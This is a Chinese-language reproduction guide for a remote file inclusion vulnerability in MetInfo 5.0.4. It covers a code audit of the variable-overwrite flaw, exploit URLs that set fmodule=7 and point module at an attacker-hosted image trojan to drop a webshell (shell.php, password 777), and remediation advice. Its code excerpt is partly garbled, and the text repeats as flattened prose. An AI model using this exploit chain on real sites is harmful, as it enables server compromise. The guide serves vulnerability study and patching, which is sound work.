metinfo_5.0.4_file-Include漏洞复现
字数 942 2025-08-10 17:51:46

MetInfo 5.0.4 文件包含漏洞分析与复现指南

漏洞概述

MetInfo企业网站管理系统5.0.4版本存在高危的文件包含漏洞,攻击者可以利用该漏洞实现远程代码执行,进而控制目标系统。

漏洞影响

  • 影响版本:MetInfo 5.0.4
  • 漏洞等级:高危
  • 漏洞类型:文件包含导致远程代码执行

环境准备

  1. 测试环境

    • VMware虚拟机环境
    • phpStudy集成环境
  2. 工具准备

    • MetInfo_5.0.4源码
    • Seay源码审计系统
    • 蚁剑(中国菜刀)或其他WebShell管理工具

漏洞分析

漏洞位置

漏洞主要存在于以下文件中:

  • /about/index.php
  • /include/module.php
  • /include/common.inc.php

代码审计分析

  1. 变量覆盖漏洞
    common.inc.php中存在以下关键代码:
    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
        foreach(
    

\[_request as $_key => $_value) { $_key{0}key = daddslashes($_value); } } ``` 这段代码将GPC(GET/POST/COOKIE)传过来的参数和值注册为变量,存在变量覆盖漏洞。 2. **文件包含逻辑**: 在`/about/index.php`中: ```php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; require_once $module; ``` 在`/include/module.php`中: ```php if($fmodule!=7){ // 验证逻辑 } ``` 当`fmodule`不等于7时,系统会对`$module`进行验证;等于7时则绕过验证。 ## 漏洞复现步骤 ### 1. 验证变量覆盖 访问URL: ``` http://目标IP/MetInfo5.0.4/about/index.php?fmodule=7&module=777777 ``` 如果页面输出了"777777",则证明变量覆盖成功。 ### 2. 准备图片木马 创建一个包含PHP代码的图片文件(如a.jpg),内容为: ```php ``` ### 3. 远程文件包含 访问URL: ``` http://目标IP/MetInfo5.0.4/about/index.php?fmodule=7&module=http://攻击者IP/a.jpg ``` 这将执行图片中的PHP代码,在当前目录下创建`shell.php`WebShell。 ### 4. 连接WebShell 使用蚁剑或其他工具连接生成的WebShell: ``` http://目标IP/MetInfo5.0.4/about/shell.php ``` 密码为`777`。 ## 修复建议 1. 升级到最新版本的MetInfo系统 2. 临时修复方案: - 修改`common.inc.php`中的变量注册逻辑,避免变量覆盖 - 在文件包含前对参数进行严格过滤 - 禁用远程文件包含功能 ## 总结 该漏洞利用链如下: 1. 通过变量覆盖控制`fmodule`和`module`参数 2. 设置`fmodule=7`绕过验证 3. 通过`module`参数实现远程文件包含 4. 执行恶意代码获取服务器权限 此漏洞危害性高,建议所有使用受影响版本的用户立即采取修复措施。\]

MetInfo 5.0.4 文件包含漏洞分析与复现指南 漏洞概述 MetInfo企业网站管理系统5.0.4版本存在高危的文件包含漏洞,攻击者可以利用该漏洞实现远程代码执行,进而控制目标系统。 漏洞影响 影响版本 :MetInfo 5.0.4 漏洞等级 :高危 漏洞类型 :文件包含导致远程代码执行 环境准备 测试环境 : VMware虚拟机环境 phpStudy集成环境 工具准备 : MetInfo_ 5.0.4源码 Seay源码审计系统 蚁剑(中国菜刀)或其他WebShell管理工具 漏洞分析 漏洞位置 漏洞主要存在于以下文件中: /about/index.php /include/module.php /include/common.inc.php 代码审计分析 变量覆盖漏洞 : 在 common.inc.php 中存在以下关键代码: 这段代码将GPC(GET/POST/COOKIE)传过来的参数和值注册为变量,存在变量覆盖漏洞。 文件包含逻辑 : 在 /about/index.php 中: 在 /include/module.php 中: 当 fmodule 不等于7时,系统会对 $module 进行验证;等于7时则绕过验证。 漏洞复现步骤 1. 验证变量覆盖 访问URL: 如果页面输出了"777777",则证明变量覆盖成功。 2. 准备图片木马 创建一个包含PHP代码的图片文件(如a.jpg),内容为: 3. 远程文件包含 访问URL: 这将执行图片中的PHP代码,在当前目录下创建 shell.php WebShell。 4. 连接WebShell 使用蚁剑或其他工具连接生成的WebShell: 密码为 777 。 修复建议 升级到最新版本的MetInfo系统 临时修复方案: 修改 common.inc.php 中的变量注册逻辑,避免变量覆盖 在文件包含前对参数进行严格过滤 禁用远程文件包含功能 总结 该漏洞利用链如下: 通过变量覆盖控制 fmodule 和 module 参数 设置 fmodule=7 绕过验证 通过 module 参数实现远程文件包含 执行恶意代码获取服务器权限 此漏洞危害性高,建议所有使用受影响版本的用户立即采取修复措施。